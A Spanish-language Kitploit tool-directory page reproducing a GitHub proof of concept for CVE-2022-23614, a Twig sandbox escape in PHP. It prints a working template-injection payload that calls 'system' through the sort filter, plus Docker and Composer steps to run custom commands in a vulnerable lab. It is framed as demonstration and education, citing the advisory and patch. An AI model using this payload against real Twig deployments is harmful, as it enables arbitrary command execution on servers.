Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/4rtamis/cve-2022-23614
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónLabs y Práctica
GitHub4rtamis/cve-2022-23614

CVE-2022-23614

Prueba de concepto para CVE-2022-23614 (inyección de comandos en Twig)

Ver Repositorio
1hace 3 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2022-23614

Prueba de concepto (PoC) para CVE-2022-23614 referenciado en el DSA-5107-1.

  • CVSS-2.0: 7.5
  • CVSS-3.X: 9.8

Explicación

Twig es un motor de plantillas flexible, rápido y seguro para PHP. Notablemente, es posible usar filtros en una plantilla antes de renderizarla. El filtro sort se puede usar para ordenar los elementos de un array con la siguiente estructura:

root@kitploit:~
{{ [5,8,2,3]|sort('desc') }}

Twig tiene un modo sandbox para evaluar código de plantillas no confiable. Cuando está en este modo sandbox, el parámetro arrow del filtro sort debe ser un closure para evitar que atacantes puedan ejecutar funciones arbitrarias de PHP. En versiones afectadas esta restricción no se aplicaba correctamente y podía llevar a la inyección de código PHP arbitrario.

root@kitploit:~
{{ ["id",""]|sort('system') }}

Uso

Este PoC ilustra la vulnerabilidad en dos casos de uso diferentes: usando el paquete Debian php-twig (v2.14.1) o usando el módulo Composer twig/twig (v2.14).

El archivo index.php crea una plantilla Twig basada en el primer argumento. En el siguiente código, argv[1] es el nombre de la función de ordenación que Twig usará al renderizar.

root@kitploit:~
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";

Luego, index.php usará dos funciones obsoletas de Twig para cargar la plantilla generada. Finalmente, usa el segundo argumento (argv[2]) para pasar datos a la plantilla mientras se renderiza, notablemente el array args que queremos ordenar.

root@kitploit:~
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);

La plantilla renderizada se imprime en la salida estándar.

Tenga en cuenta que este repositorio fue creado solo con fines de demostración. Está diseñado para ser simple de entender y fácil de usar para jugar con el CVE usando solo una interfaz de línea de comandos. Está bastante lejos de lo que se puede encontrar en un servidor vulnerable real.

php-twig

Usando Docker, podemos recrear el contexto del Debian Security Advisory (DSA) original. Puede usar el script build-docker.sh proporcionado para construir y ejecutar el contenedor vulnerable correctamente.

root@kitploit:~
chmod a+x build-docker.sh
./build-docker.sh

El contenedor debería apagarse una vez que se ejecute el payload (un comando id). Si desea probar sus propios comandos, puede ejecutar el contenedor en modo interactivo:

root@kitploit:~
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash

Una vez dentro del contenedor, puede crear su propio payload usando el siguiente modelo:

root@kitploit:~
php index.php system '{"args":["id",""]}'
                ^                 ^
          sorting function   array to sort

Este dockerfile fue creado parcialmente usando DECRET.

Composer

Si ya tiene php y Composer instalados en su máquina, puede replicar el exploit usando el módulo vulnerable de Composer.

root@kitploit:~
cd exploit
composer install

Luego solo tiene que jugar con el payload.

root@kitploit:~
php index.php system '{"args":["id",""]}'

Referencias

Detalles del CVE: https://nvd.nist.gov/vuln/detail/CVE-2022-23614

DSA: https://www.debian.org/security/2022/dsa-5107

Commit del parche: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9

PoC por davwwwx (usando GUI): https://github.com/davwwwx/CVE-2022-23614

Descargar herramienta